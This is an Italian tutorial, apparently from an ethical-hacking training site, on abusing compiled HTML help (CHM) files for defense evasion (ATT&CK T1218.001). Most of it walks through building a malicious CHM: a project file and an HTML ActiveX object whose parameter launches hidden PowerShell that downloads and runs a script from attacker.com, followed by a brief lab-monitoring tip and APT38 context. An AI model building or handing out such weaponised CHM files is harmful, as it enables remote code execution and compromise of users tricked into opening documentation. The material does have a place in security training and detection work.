File HTML Compilati: Compiled HTML File (T1218.001)

Un file CHM rappresenta molto più di un semplice documento di help. Questa tecnologia Microsoft, apparentemente innocua, nasconde capacità di esecuzione che la rendono attraente per gli attaccanti.

Il formato CHM comprime contenuti HTML insieme a script VBScript, JScript e controlli ActiveX, il tutto eseguito attraverso hh.exe utilizzando componenti di Internet Explorer. Questa caratteristica trasforma un file di documentazione in un vettore d'attacco sofisticato che può bypassare controlli di sicurezza datati.

La tecnica si posiziona nella tattica TA0005 (Defense Evasion), sfruttando la natura trusted del processo hh.exe per mascherare l'esecuzione di payload malevoli. 5 gruppi APT hanno integrato questa metodologia nei loro arsenali, dimostrando la sua efficacia in scenari reali di compromissione.

La creazione di un CHM malevolo richiede comprensione delle sue componenti interne. Il processo inizia con la preparazione dei file sorgente HTML che conterranno il payload.

Crea prima il file di progetto HHP con questa struttura base:

[OPTIONS]
Compatibility=1.1 or later
Compiled file=malicious.chm
Contents file=toc.hhc
Display compile progress=No
Language=0x409 English (United States)

[FILES]
index.html

Il cuore dell'attacco risiede nel file HTML che incorpora il codice malevolo. Una tecnica efficace sfrutta oggetti ActiveX per eseguire comandi:

<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=',cmd.exe,/c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString("http://attacker.com/payload.ps1")'>
<PARAM name="Item2" value="273,1,1">
</OBJECT>

La compilazione avviene tramite HTML Help Workshop o strumenti command-line equivalenti. Il file risultante apparirà come documentazione legittima ma eseguirà il payload al click dell'utente.

Per testare in laboratorio, monitora l'esecuzione con Process Monitor filtrando su hh.exe. Noterai la catena di processi che parte dal CHM fino all'esecuzione del payload PowerShell.

APT38 ha dimostrato l'efficacia di questa tecnica nascondendo interi framework di post-exploitation all'interno di CHM apparentemente innocui. La chiave sta nel bilanciare la complessità del payload con la necessità di mantenere un file di dimensioni credibili.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo